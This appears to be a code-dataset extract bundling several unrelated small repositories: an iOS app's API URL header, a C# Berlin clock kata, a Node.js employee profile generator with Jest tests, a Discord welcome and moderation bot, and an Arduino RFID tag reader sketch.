branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/master
<repo_name>sajiner/HAHA<file_sep>/XH_ZiChanJia/XRequestUrl.h // // XRequestUrl.h // XH_ZiChanJia // // Created by sajiner on 16/9/20. // Copyright © 2016年 资产家. All rights reserved. // #ifndef XRequestUrl_h #define XRequestUrl_h // 开发 #define RequestBaseUrl @"http://10.167.201.170:9090" // 测试 //#define RequestBaseUrl @"http://10.167.201.176:9090" /********************************* 温馨提示 *********************************/ #define Request_Reminder [NSString stringWithFormat: @"%@/zcj/front/api/feeback/reminder", RequestBaseUrl] /********************************* 登录、找回密码、修改密码相关 *********************************/ //登录 #define Request_Login [NSString stringWithFormat: @"%@/zcj/front/login/userLogin", RequestBaseUrl] //退出 #define Request_Logout [NSString stringWithFormat: @"%@/zcj/front/login/logOut", RequestBaseUrl] //找回密码--给指定手机号发送手机验证码,注册时的不一样 #define Request_ResetPwd_SendSmsCode [NSString stringWithFormat: @"%@/zcj/front/verification/sendSMSForEditPassword", RequestBaseUrl] //找回密码--验证短信验证码 #define Request_ResetPwd_VerifiSmsCode [NSString stringWithFormat: @"%@/zcj/front/user/resetPasswordValidate", RequestBaseUrl] //找回密码--重置密码 #define Request_ResetPwd [NSString stringWithFormat: @"%@/zcj/front/user/resetPasswordPhone", RequestBaseUrl] /********************************* 注册相关 *********************************/ //验证手机号是否合法 #define Request_Regist_VerifiPhoneNumber [NSString stringWithFormat: @"%@/zcj/front/register/validatePhone", RequestBaseUrl] //给手机发送短信验证码 #define Request_Regist_SendSMSCode [NSString stringWithFormat: @"%@/zcj/front/verification/sendSMS", RequestBaseUrl] //给手机发送语音验证码 #define Request_Regist_SendVoiceCode [NSString stringWithFormat: @"%@/zcj/front/verification/sendVoiceSMS", RequestBaseUrl] //验证短信验证码 #define Request_Regist_VerifiSmsCode [NSString stringWithFormat: @"%@/zcj/front/register/validateSmsCode", RequestBaseUrl] //验证邀请码 #define Request_Regist_VerifiInviteCode [NSString stringWithFormat: @"%@/zcj/front/register/validateInvitedCode", RequestBaseUrl] //注册 #define Request_Regist_Register [NSString stringWithFormat: @"%@/zcj/front/register/userRegister", RequestBaseUrl] //实名认证 #define Request_Regist_VerifiRealName [NSString stringWithFormat: @"%@/zcj/front/verification/verifiRealName", RequestBaseUrl] //资产家平台服务协议 #define Request_Regist_ServiceProtocol [NSString stringWithFormat:@"%@/html/Platform.html",RequestBaseUrl] /********************************* 首页相关 *********************************/ //首页信息 #define Request_HomeInfor [NSString stringWithFormat: @"%@/zcj/front/api/information", RequestBaseUrl] //意见反馈 #define Request_FeedBack [NSString stringWithFormat: @"%@/zcj/front/api/feeback/submit", RequestBaseUrl] //首页银行存管/备付金/技术安全/资产无忧 #define BackSaveH5 [NSString stringWithFormat:@"%@/html/indexBK.html",RequestBaseUrl] #define BeiYongJin [NSString stringWithFormat:@"%@/html/indexBY.html",RequestBaseUrl] #define TechnologySecurity [NSString stringWithFormat:@"%@/html/indexJA.html",RequestBaseUrl] #define ZiChanWuYou [NSString stringWithFormat:@"%@/html/indexWY.html",RequestBaseUrl] //首页banner #define Request_HomeBanner [NSString stringWithFormat: @"http://10.167.201.172/app"] //菜单-帮助中心 #define HTML_MenuHelpUs [NSString stringWithFormat:@"%@/pxq_app/views/other/help.html",RequestBaseUrl] //菜单-平台介绍 #define HTML_MenuIntroduce [NSString stringWithFormat:@"%@/pxq_app/views/other/floor_introduce.html",RequestBaseUrl] //检查APP版本更新 #define Request_CheckVersion [NSString stringWithFormat:@"%@/zcj/front/api/feeback/version",RequestBaseUrl] /********************************* 我的相关 *********************************/ // 我的页面接口(获取可用余额、资产总额、待收收益、累计收益等数据) #define Request_UserCenter_UserAsset [NSString stringWithFormat: @"%@/zcj/front/usercenter/userAsset", RequestBaseUrl] // 我的散标接口(获取待收本金、待收收益、累计收益) #define Request_UserCenter_UserInMoney [NSString stringWithFormat: @"%@/zcj/front/usercenter/userInMoney", RequestBaseUrl] // 散标投资纪录接口 #define Request_UserCenter_UserInvest [NSString stringWithFormat: @"%@/zcj/front/usercenter/userInvest", RequestBaseUrl] // 散标投资纪录详情接口 #define Request_UserCenter_UserReMoney [NSString stringWithFormat: @"%@/zcj/front/usercenter/userReMoney", RequestBaseUrl] // 我的嘉盈接口(获取待收本金、待收收益、累计收益) #define Request_UserCenter_UserProject [NSString stringWithFormat: @"%@/zcj/front/usercenter/userProject", RequestBaseUrl] // 嘉盈投资纪录接口 #define Request_UserCenter_UserProjectInvest [NSString stringWithFormat: @"%@/zcj/front/usercenter/userProjectInvest", RequestBaseUrl] // 嘉盈投资纪录详情接口 #define Request_UserCenter_UserProjectMark [NSString stringWithFormat: @"%@/zcj/front/usercenter/userProjectMark", RequestBaseUrl] // 资金管理接口 #define Request_UserCenter_UserAccountLog [NSString stringWithFormat: @"%@/zcj/front/usercenter/userAccountLogApp", RequestBaseUrl] // 站内消息接口 #define Request_GetNotices [NSString stringWithFormat: @"%@/zcj/front/api/getNotices", RequestBaseUrl] // 站内消息全部已读接口 #define Request_UpdateNotice [NSString stringWithFormat: @"%@/zcj/front/api/updateNotice", RequestBaseUrl] // 在线客服接口 #define Request_ChatOnLine @"http://172.16.31.10:8088/chatOnline/business/chatOnline/talk.jsp?bid=1464600656063" /*********************************散标页相关 *********************************/ //获取散标列表的接口 #define Request_QueryAll [NSString stringWithFormat: @"%@/zcj/front/api/standard/queryall", RequestBaseUrl] //散标详情页面接口 #define Request_Details [NSString stringWithFormat: @"%@/zcj/front/api/standard/details", RequestBaseUrl] //投资列表 #define Request_GetInvestmentList [NSString stringWithFormat: @"%@/zcj/front/api/standard/getInvestmentList", RequestBaseUrl] //还款计划 #define Request_GetRepaymentPlan [NSString stringWithFormat: @"%@/zcj/front/api/standard/getRepaymentPlan", RequestBaseUrl] //查询散标预期收益 #define Request_GetInvestIncome [NSString stringWithFormat: @"%@/zcj/front/api/invest/getInvestIncome", RequestBaseUrl] //投资散标 #define Request_InvestMark [NSString stringWithFormat: @"%@/zcj/front/api/invest/investMark", RequestBaseUrl] /********************************* 资产包(嘉盈)相关 *********************************/ //资产包首页 #define Request_AssetpackageQueryALl [NSString stringWithFormat: @"%@/zcj/front/api/assetPackage/queryall", RequestBaseUrl] //资产包详情 #define Request_AssetpackageDetail [NSString stringWithFormat: @"%@/zcj/front/api/assetPackage/details", RequestBaseUrl] //资产包详情中标的详情 #define Request_AssetpackageInfo [NSString stringWithFormat: @"%@/zcj/front/api/assetPackage/info", RequestBaseUrl] //投资资产包 #define Request_AssetpackageInvestProject [NSString stringWithFormat: @"%@/zcj/front/api/invest/investProject", RequestBaseUrl] //借款协议 #define Request_loanAgreement [NSString stringWithFormat: @"%@/html/Loanagreement.html", RequestBaseUrl] //风险揭示书 #define Request_riskDisclosure [NSString stringWithFormat: @"%@/html/Riskbook.html", RequestBaseUrl] /********************************* 金账户相关 *********************************/ // 统一调用富有api #define Request_GoldInlet @"http://172.16.58.3:28160/inlet" // ============================== 与富有交互的api ==================================== // // 获取开户请求信息 #define Request_GoldAccount_Open [NSString stringWithFormat: @"%@/zcj/front/api/goldaccount/open", RequestBaseUrl] // 获取提现申请信息 #define Request_DrawCash [NSString stringWithFormat: @"%@/zcj/front/api/cash", RequestBaseUrl] // 获取充值信息 #define Request_ToppedUp [NSString stringWithFormat: @"%@/zcj/front/api/charge", RequestBaseUrl] // ============================== 与富有交互的api ==================================== // // 获取银行卡信息 #define Request_DrawCash_BankCard [NSString stringWithFormat: @"%@/zcj/front/api/cash/bankcard", RequestBaseUrl] // 获取最新的用户信息(给后台) #define Request_Recent_Account [NSString stringWithFormat: @"%@/zcj/front/api/account", RequestBaseUrl] // 用户行为请求接口(给后台) #define Request_Packet [NSString stringWithFormat: @"%@/zcj/front/api/packet", RequestBaseUrl] // ============================== 一些 h5 页面 ==================================== // // 提现请阅 #define Request_cashRead [NSString stringWithFormat: @"%@/html/cashRead.html", RequestBaseUrl] // 充值请阅 #define Request_chargeRead [NSString stringWithFormat: @"%@/html/chargeRead.html", RequestBaseUrl] // 风险偏好 #define Request_riskLover [NSString stringWithFormat: @"%@/html/riskLover.html", RequestBaseUrl] #endif /* XRequestUrl_h */ <file_sep>/Podfile platform :ios, ‘7.0’ target 'XH_ZiChanJia' do pod 'YTKNetwork' pod 'MJExtension' pod 'MJRefresh' pod 'Masonry' pod 'Reachability' pod 'SDWebImage' pod 'IQKeyboardManager' end
4c35412f10586ffc6f1dee5307ef243e86704478
[ "C", "Ruby" ]
2
C
sajiner/HAHA
32e842ea6aabd19368bff24cb5663aed3bba918a
6972cb04d098aa469531660c9bafe8e8df4e6418
refs/heads/master
<file_sep>using System; namespace BerlinClock.RowTransformers { public class HoursSecondRow : RowTransformer { public override string Transform(int hours) { return String.Format("{3}{2}{1}{0}", GetMatchingColor(hours, 4), GetMatchingColor(hours, 3), GetMatchingColor(hours, 2), GetMatchingColor(hours, 1)); } } } <file_sep>namespace BerlinClock.RowTransformers { public interface ITimeTransformer { string Transform(int timeUnit); } } <file_sep>namespace BerlinClock.RowTransformers { public abstract class RowTransformer : ITimeTransformer { protected char GetMatchingColor(int value, int valueToCompare, char charWhenTrue = 'R', char charWhenFalse = 'O') { return value < valueToCompare ? charWhenFalse : charWhenTrue; } public abstract string Transform(int minutes); } }<file_sep>namespace BerlinClock.RowTransformers { /// <summary> /// Transforms the given second to 'Y' or 'O' symbols which indicates /// the lamb blinking on each two second. /// </summary> public class YellowLamp : ITimeTransformer { public string Transform(int seconds) { return seconds % 2 == 0 ? "Y" : "O"; } } } <file_sep>using System; namespace BerlinClock.RowTransformers { public class HoursFirstRow: RowTransformer { public override string Transform(int minutes) { return String.Format("{3}{2}{1}{0}", GetMatchingColor(minutes, 20), GetMatchingColor(minutes, 15), GetMatchingColor(minutes, 10), GetMatchingColor(minutes, 5)); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using BerlinClock.RowTransformers; namespace BerlinClock { public class TimeConverter : ITimeConverter { private readonly ITimeTransformer hoursFirstRow; private readonly ITimeTransformer hoursSecondRow; private readonly ITimeTransformer minutesFirstRow; private readonly ITimeTransformer minutesSecondRow; private readonly ITimeTransformer yellowLampRow; private readonly IEnumerable<int> hourDivisions; private readonly IEnumerable<int> minuteDivisions; public TimeConverter() : this( new HoursFirstRow(), new HoursSecondRow(), new MinutesFirstRow(), new MinutesSecondRow(), new YellowLamp()) { } public TimeConverter(ITimeTransformer hoursFirstRow, ITimeTransformer hoursSecondRow, ITimeTransformer minutesFirstRow, ITimeTransformer minutesSecondRow, ITimeTransformer yellowLampRow) { this.hoursFirstRow = hoursFirstRow; this.hoursSecondRow = hoursSecondRow; this.minutesFirstRow = minutesFirstRow; this.minutesSecondRow = minutesSecondRow; this.yellowLampRow = yellowLampRow; this.hourDivisions = new List<int> { 5, 10, 15, 20 }; // we can keep these lists also in conf. file. this.minuteDivisions = new List<int> { 5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 55 }; } public string convertTime(string aTime) { if (string.IsNullOrWhiteSpace(aTime)) { // Or here we can log it. Console.WriteLine("The given time-string is either null, empty or contains only white spaces."); return String.Empty; } string[] hms = aTime.Split(':'); string strMinutes = hms.Length > 1 ? hms[1] : null; string strSeconds = hms.Length > 2 ? hms[2] : null; int.TryParse(hms[0], out int hours); int.TryParse(strMinutes, out int minutes); int.TryParse(strSeconds, out int seconds); return ConvertTime(hours, minutes, seconds); } public string ConvertTime(int hour, int minutes, int seconds) { int hoursFirstRowValue = hour; int hoursSecondRowValue = hour - GetBiggestMatch(hourDivisions, hour); int minutesFirstRowValue = minutes; int minutesSecondRowValue = minutes - GetBiggestMatch(minuteDivisions, minutes); return string.Format("{0}\r\n{1}\r\n{2}\r\n{3}\r\n{4}", this.yellowLampRow.Transform(seconds), this.hoursFirstRow.Transform(hoursFirstRowValue), this.hoursSecondRow.Transform(hoursSecondRowValue), this.minutesFirstRow.Transform(minutesFirstRowValue), this.minutesSecondRow.Transform(minutesSecondRowValue) ); } private int GetBiggestMatch(IEnumerable<int> divisionList, int value) { return divisionList.Where(x => x < value).OrderByDescending(x => x).FirstOrDefault(); } } } <file_sep>using System; namespace BerlinClock.RowTransformers { /// <summary> /// Represents the second row of minutes section. /// </summary> public class MinutesSecondRow : RowTransformer { public override string Transform(int minutes) { return String.Format("{3}{2}{1}{0}", GetMatchingColor(minutes, 4, 'Y'), GetMatchingColor(minutes, 3, 'Y'), GetMatchingColor(minutes, 2, 'Y'), GetMatchingColor(minutes, 1, 'Y')); } } } <file_sep>using System; namespace BerlinClock.RowTransformers { public class MinutesFirstRow : RowTransformer { public override string Transform(int minutes) { return String.Format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}", GetMatchingColor(minutes, 5, 'Y'), GetMatchingColor(minutes, 10, 'Y'), GetMatchingColor(minutes, 15, 'R'), GetMatchingColor(minutes, 20, 'Y'), GetMatchingColor(minutes, 25, 'Y'), GetMatchingColor(minutes, 30, 'R'), GetMatchingColor(minutes, 35, 'Y'), GetMatchingColor(minutes, 40, 'Y'), GetMatchingColor(minutes, 45, 'R'), GetMatchingColor(minutes, 50, 'Y'), GetMatchingColor(minutes, 55, 'Y')); } } }
3d810b9439182424f329391a3d9094e2319e393c
[ "C#" ]
8
C#
AssanM/DotNetBerlinClock
781aa73aae998a8bc6a9136c3d51a87f1e803397
f0b97429e03296e0497c8c6f142ab35e5bb33103
refs/heads/master
<repo_name>SkyheartOfficial/skyheartbot<file_sep>/.gitignore/index.js //===================================================================================================================================// //===================================================================================================================================// //=========| * * * * * * * * * * * * * * * * * * * * * * * * * * * * |=========// //=========| * * * * * * * * * * * * * * * * * * * * |=========// //=========| * * * * * * * * * * * * * * * * * * * * * * * * * * * |=========// //=========| * * * * * * * * * * * * * * * * |=========// //=========| * * * * * * * * * * * * * * * * * * * * |=========// //=========| |=========// //=========| * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * |=========// //===================================================================================================================================// //===================================================================================================================================// //===SET DES CONSTANTES ET VARIABLES===// require("events").EventEmitter.defaultMaxListeners = 25; const Discord = require("discord.js"); var client = new Discord.Client(); var prefix = "!"; var moderation = "0"; var bienvenue = "0"; client.login("<KEY>"); client.on("ready", () =>{ client.user.setGame("Skyheart•Bot | " + prefix + "help") }); //===POUR ACTIVER LES DIFFERENTES OPTIONS===// //Activer le welcome client.on("message", message =>{ if(!message.guild) return if(message.content === prefix + "active welcome"){ message.delete() bienvenue = 1 let activebienvenueEmbed = new Discord.RichEmbed() .setColor("#12ff00") .setTitle(":white_check_mark:") .addField("Vous venez d'activez la fonction de Bienvenue ! Pour la désactivez tapez ```" + prefix + "desactive welcome```", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") message.channel.send(activebienvenueEmbed) } }); //Désactivez le welcome client.on("message", message =>{ if(!message.guild) return if(message.content === prefix + "desactive welcome"){ message.delete() bienvenue = 0 let desactivebienvenueEmbed = new Discord.RichEmbed() .setColor("#ff0e0e") .setTitle(":x:") .addField("Vous venez de désactivez la fonction de Bienvenue ! Pour l'activez tapez ```" + prefix + "active welcome```", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") message.channel.send(desactivebienvenueEmbed) } }); //Activez la modération client.on("message", message =>{ if(!message.guild) return if(message.content === prefix + "active moderation"){ message.delete() moderation = 1 let activemoderationEmbed = new Discord.RichEmbed() .setColor("#12ff00") .setTitle(":white_check_mark:") .addField("Vous venez d'activez la fonction de Modération ! Pour la désactivez tapez ```" + prefix + "desactive moderation```", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") message.channel.send(activemoderationEmbed) } }); //Désactivez la modération client.on("message", message =>{ if(!message.guild) return if(message.content === prefix + "desactive moderation"){ message.delete() moderation = 0 let desactivemoderationEmbed = new Discord.RichEmbed() .setColor("#ff0e0e") .setTitle(":x:") .addField("Vous venez de désactivez la fonction de Modération ! Pour l'activez tapez ```" + prefix + "active moderation```", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") message.channel.send(desactivemoderationEmbed) } }); //===BONJOUR ET AU REVOIR===// //Bonjour client.on("guildMemberAdd", user =>{ if(bienvenue === 0) return if(bienvenue === 1){ let JoinEmbed = new Discord.RichEmbed() .setColor("#12ff00") .setAuthor(user.user.username) .setThumbnail(user.user.displayAvatarURL) .setDescription(":inbox_tray: Bonjour et bienvenue à toi " + user + " dans le serveur **" + user.guild.name + "** ! :tada: :hugging:") .setTimestamp() .setFooter(user.guild.name + " | Skyheart•Bot") user.guild.channels.get("605108448933314562").send(JoinEmbed) } }); //Au revoir client.on("guildMemberRemove", user =>{ if(bienvenue === 0) return if(bienvenue === 1){ let LeaveEmbed = new Discord.RichEmbed() .setColor("#ff0e0e") .setAuthor(user.user.username) .setThumbnail(user.user.displayAvatarURL) .setDescription(":outbox_tray: " + user + " nous a quitter ! Bonne continuation à lui ! :slight_frown:") .setTimestamp() .setFooter(user.guild.name + " | Skyheart•Bot") user.guild.channels.get("605108448933314562").send(LeaveEmbed) } }); //===TEST COMMANDES SIMPLES===// //Rien à dire client.on("message", message =>{ if(!message.guild) return if(message.content === prefix + "je vais manger"){ message.channel.send("Bonne appétit " + message.author + " !") } }); //Pour les prefix// //Proposition des actions client.on("message", message =>{ if(!message.guild) return if(message.content === prefix + "settings prefix"){ message.delete() let PrefixEmbed = new Discord.RichEmbed() .setColor("#ff0e0e") .setTitle(":x:") .addField("Veuilez faire ```" + prefix + "settings prefix``` suivi de ```- / -- / _ / ! / ? / ^^```", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") message.channel.send(PrefixEmbed) } }); //Avec le - client.on("message", message =>{ if(!message.guild) return if(message.content === prefix + "settings prefix -"){ message.delete() prefix = "-" let Prefix1Embed = new Discord.RichEmbed() .setColor("#12ff00") .setTitle(":white_check_mark:") .addField("Super, votre nouveau prefix est bien `" + prefix + "` !", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") message.channel.send(Prefix1Embed) } }); //Avec le -- client.on("message", message =>{ if(!message.guild) return if(message.content === prefix + "settings prefix --"){ message.delete() prefix = "--" let Prefix2Embed = new Discord.RichEmbed() .setColor("#12ff00") .setTitle(":white_check_mark:") .addField("Super, votre nouveau prefix est bien `" + prefix + "` !", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") message.channel.send(Prefix2Embed) } }); //Avec le _ client.on("message", message =>{ if(!message.guild) return if(message.content === prefix + "settings prefix _"){ message.delete() prefix = "_" let Prefix3Embed = new Discord.RichEmbed() .setColor("#12ff00") .setTitle(":white_check_mark:") .addField("Super, votre nouveau prefix est bien `" + prefix + "` !", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") message.channel.send(Prefix3Embed) } }); //Avec le ! client.on("message", message =>{ if(!message.guild) return if(message.content === prefix + "settings prefix !"){ message.delete() prefix = "!" let Prefix4Embed = new Discord.RichEmbed() .setColor("#12ff00") .setTitle(":white_check_mark:") .addField("Super, votre nouveau prefix est bien `" + prefix + "` !", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") message.channel.send(Prefix4Embed) } }); //Avec le ? client.on("message", message =>{ if(!message.guild) return if(message.content === prefix + "settings prefix ?"){ message.delete() prefix = "?" let Prefix5Embed = new Discord.RichEmbed() .setColor("#12ff00") .setTitle(":white_check_mark:") .addField("Super, votre nouveau prefix est bien `" + prefix + " !", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") message.channel.send(Prefix5Embed) } }); //Avec le ^^ client.on("message", message =>{ if(!message.guild) return if(message.content === prefix + "settings prefix ^^"){ message.delete() prefix = "^^" let Prefix6Embed = new Discord.RichEmbed() .setColor("#12ff00") .setTitle(":white_check_mark:") .addField("Super, votre nouveau prefix est bien `" + prefix + "` !", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") message.channel.send(Prefix6Embed) } }); //===POUR LE CLEAR===// //Le clear client.on("message", message =>{ if(moderation === 1){ if(!message.guild) return let args = message.content.trim().split(/ +/g) if(args[0].toLowerCase() === prefix + "clear"){ let permissionEmbed = new Discord.RichEmbed() .setColor("#ff0e0e") .setTitle(":x:") .addField("Vous n'avez pas les permissions pour utilisez cette commande !", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") if(!message.member.hasPermission("ADMINISTRATOR")) return message.channel.send(permissionEmbed) let count = parseInt(args[1]) let nombreasupprEmbed = new Discord.RichEmbed() .setColor("#ff0e0e") .setTitle(":x:") .addField("Veuilez indiquer un nombre ! Ex : ```" + prefix + "clear 10```", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") if(!count) return message.channel.send(nombreasupprEmbed) let nombrevalideEmbed = new Discord.RichEmbed() .setColor("#ff0e0e") .setTitle(":x:") .addField("Veuillez indiquer un nombre valide !", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") if(isNaN(count)) return message.channel.send(nombrevalideEmbed) let nombreentreEmbed = new Discord.RichEmbed() .setColor("#ff0e0e") .setTitle(":x:") .addField("Veuillez indiquer un nombre entre 1 et 100 !", "Si vous avez un problème tapez `" + prefix + "help`") .setTimestamp() .setFooter("Skyheart•Bot") if(count < 1 || count > 100) return message.channel.send(nombreentreEmbed) message.channel.bulkDelete(count + 1, true) let validesupprEmbed = new Discord.RichEmbed() .setColor("#12ff00") .setTitle(":white_check_mark:") .addField("Vous avez supprimer " + count + " messages", "Si vous avez un problème tapez `" + prefix + "help`") .setFooter("Skyheart•Bot") message.channel.send(validesupprEmbed) message.channel.bulkDelete(1, true) } } });
6b36c7b5666202043306ce2f23fcfbea7bbdf517
[ "JavaScript" ]
1
JavaScript
SkyheartOfficial/skyheartbot
e2ac5103da893f8562533e52934e50ac9dd8b276
b4cd3dfbe7265f6d93d87d2392527ceb3c556539
refs/heads/main
<file_sep>const { expect, test } = require('@jest/globals'); const { string } = require('yargs'); const Engineer = require('../lib/Engineer'); test('creates a new Engineer profile', () => { const engineer = new Engineer('Kamala'); // expect(manager.role).toEqual(['Manager']); expect(engineer.name).toBe('Kamala'); expect(engineer.id).toEqual(expect.any(String)); expect(engineer.email).toEqual(expect.any(String)); expect(engineer.github).toEqual(expect.any(String)); }); test('gets engineers data as an object', () => { const engineer = new Engineer('Kamala'); expect(engineer.getStats()).toHaveProperty('name'); expect(engineer.getStats()).toHaveProperty('id'); expect(engineer.getStats()).toHaveProperty('email'); expect(engineer.getStats()).toHaveProperty('role'); expect(engineer.getStats()).toHaveProperty('github'); });<file_sep>const { expect, test } = require('@jest/globals'); const { string } = require('yargs'); const Intern = require('../lib/Intern'); test('creates a new Intern profile', () => { const intern = new Intern('Kamala'); // expect(intern.role).toEqual(['intern']); expect(intern.name).toBe('Kamala'); expect(intern.id).toEqual(expect.any(String)); expect(intern.email).toEqual(expect.any(String)); expect(intern.school).toEqual(expect.any(String)); }); test('gets interns data as an object', () => { const intern = new Intern('Kamala'); expect(intern.getStats()).toHaveProperty('name'); expect(intern.getStats()).toHaveProperty('id'); expect(intern.getStats()).toHaveProperty('email'); expect(intern.getStats()).toHaveProperty('role'); expect(intern.getStats()).toHaveProperty('school'); });<file_sep> class Engineer { constructor(name ='', id='', email='', github='') { this.name = name; this.id = id; this.email = email; this.github = github; }; } Engineer.prototype.getStats = function() { return { name: this.name, id: this.id, email: this.email, role:this.role, github:this.github, }; } module.exports = Engineer;<file_sep>const inquirer = require('inquirer'); const Employee = require('./lib/Employee'); const Manager = require('./lib/Manager'); const promptUser = portfolioData => { return inquirer.prompt([ { type: 'input', name: 'name', message: 'Enter your name', }, { type: 'input', name: 'id', message: 'Enter your ID' }, { type: 'input', name: 'email', message: 'Provide your email:' }, { type: 'checkbox', name: 'role', message: 'Which role best describes your position?', choices: ['Employee', 'Manager', 'Engineer', 'Intern'] }, { type: 'input', name: 'office', message: 'What office number do you work from?', when: ({ role }) => role=['Manager'] }, { type: 'input', name: 'github', message: 'What is your Github user name?', when: ({ role }) => 'Engineer' }, { type: 'input', name: 'school', message: 'What school do you go to?', when: ({ role }) => 'Intern' } ]) .then(portfolioData => { // console.log(portfolioData); return portfolioData; //projectData.push(portfolioData); // const employeeOne = new Employee(portfolioData.name, portfolioData.id,portfolioData.email); // console.log(employeeOne.getStats()); }); }; promptUser() .then(portfolioData => { console.log(portfolioData); // const pageHTML = generateHTML(portfolioData); // fs.writeFile('./dist/index.html', pageHTML, err => { // if (err) throw new Error(err); // console.log('Page created! Check out HTML in the dist directory to see it!'); // }); }); <file_sep># profile-generator ## Description Profile generator is a tool used for a small company to log basic data about employees. Through command line prompts, leaders or HR can input various employees, managers, engineers or interns into the sytem. The system captures the name, id, email, github name, and school for each employee via command line prompts. Based on those inputs, the data is passed into an html template which surfaces the names and stats onto a site for easy viewing of the staff. ## Tech used This tool uses html, css, npm, inquirer, jest and json. ## Screenshot N/A ##Contribution Made by <NAME> <file_sep>const { expect, test } = require('@jest/globals'); const { string } = require('yargs'); const Manager = require('../lib/Manager'); test('creates a new Manager profile', () => { const manager = new Manager('Kamala'); // expect(manager.role).toEqual(['Manager']); expect(manager.name).toBe('Kamala'); expect(manager.id).toEqual(expect.any(String)); expect(manager.email).toEqual(expect.any(String)); expect(manager.office).toEqual(expect.any(String)); }); test('gets managers data as an object', () => { const manager = new Manager('Kamala'); expect(manager.getStats()).toHaveProperty('name'); expect(manager.getStats()).toHaveProperty('id'); expect(manager.getStats()).toHaveProperty('email'); expect(manager.getStats()).toHaveProperty('role'); expect(manager.getStats()).toHaveProperty('office'); });<file_sep>// const Employee = require('./Employee'); // class Manager extends Employee { // constructor(name, id, email) { // super(name, id, email); // this.office = office; // }; // } class Manager { constructor(name ='', id='', email='', office='') { this.name = name; this.id = id; this.email = email; this.office = office; }; } Manager.prototype.getStats = function() { return { name: this.name, id: this.id, email: this.email, role:this.role, office:this.office, }; } // class Manager extends Employee { // constructor(name ='', office='') { // super(name, id, email); // this.office = office; // }; module.exports = Manager;<file_sep>const { expect, test } = require('@jest/globals'); const { string } = require('yargs'); const Employee = require('../lib/Employee'); test('creates a new employee profile', () => { const employee = new Employee('Kamala'); expect(employee.name).toBe('Kamala'); expect(employee.id).toEqual(expect.any(String)); expect(employee.email).toEqual(expect.any(String)); }); test('gets employees data as an object', () => { const employee = new Employee('Kamala'); expect(employee.getStats()).toHaveProperty('name'); expect(employee.getStats()).toHaveProperty('id'); expect(employee.getStats()).toHaveProperty('email'); expect(employee.getStats()).toHaveProperty('role'); }); // test('gets employees data as an object', () => { // const employee = new Employee('Kamala'); // expect(employee.getStats).toBe('Kamala'); // expect(employee.getStats).toEqual(expect.any(String)); // expect(employee.getStats).toEqual(expect.any(String)); // expect(employee.getStats).toBe('Employee'); // });
8ae7fe11358f11304512e134b30db9b23af5ecf3
[ "JavaScript", "Markdown" ]
8
JavaScript
Mike-Ebener/profile-generator
97c8363aef7e2e0f6b002b8608a89b03b3fbadd4
fb9823441c6cc4204282d3d5970e9d32648e7f6d
refs/heads/master
<repo_name>adds08/RDM6300-arduinoUNO-LCD_I2C<file_sep>/RFID_tag/RFID_tag.ino #include<LiquidCrystal_I2C.h> #include<SoftwareSerial.h> int rx=5; int tx=1; int id = 0; char char_id[11]; int count=0; boolean isAuthorized = false; char* aTag[4]; SoftwareSerial rfID(rx,tx); LiquidCrystal_I2C lcd_display(0x3F, 16, 2); void setup() { // put your setup code here, to run once: Serial.begin(9600); Serial.print("initiated"); lcd_display.init(); rfID.begin(9600); lcd_display.setBacklight(true); lcd_display.print("RF-ID"); available_tags(); } void available_tags() { aTag[0] = "36001E42CB";//key-tag aTag[1] = "3C002F8179"; aTag[2] = "3C002E7A89"; } void loop() { // put your main code here, to run repeatedly: check_id(); } void display_id(){ if(sizeof(char_id)>0){ for(int i=0;i<3;i++){ if(strcmp(aTag[i],char_id) == 0 ){ isAuthorized = true; Serial.println(aTag[i]); Serial.println(char_id); break; } Serial.println(aTag[i]); Serial.println(char_id); } if(isAuthorized){ lcd_display.print("Available"); lcd_display.setCursor(0,1); lcd_display.print(char_id); isAuthorized = false; } else{ lcd_display.print("Unavailable!"); lcd_display.setCursor(0,1); lcd_display.print(char_id); } } else{ lcd_display.print("Some err"); } } void check_id(){ if(rfID.available()){ id = rfID.read(); if(id==2){ count = 0; } else if(id==3){ char_id[10] = 0; count = -1; clear_id(); lcd_display.clear(); display_id(); } else{ char_id[count] = id; count++; } } } void clear_id(){ while (rfID.read() >= 0) { ; } } <file_sep>/README.md # RDM6300-arduinoUNO-LCD_I2C RDM6300 RF-ID scanner arduino program to display listed tag as available if authorized card/tags are detected into the Serial LCD UART display
8e266edbefc8f360c0f6ad8e66c573e947aa1fcd
[ "Markdown", "C++" ]
2
C++
adds08/RDM6300-arduinoUNO-LCD_I2C
92a8ab22d65e90f63ace3c4d8fb4eb034bcae145
36a2f4e19d8ded32238074feded5cdf1bd3954fd
refs/heads/master
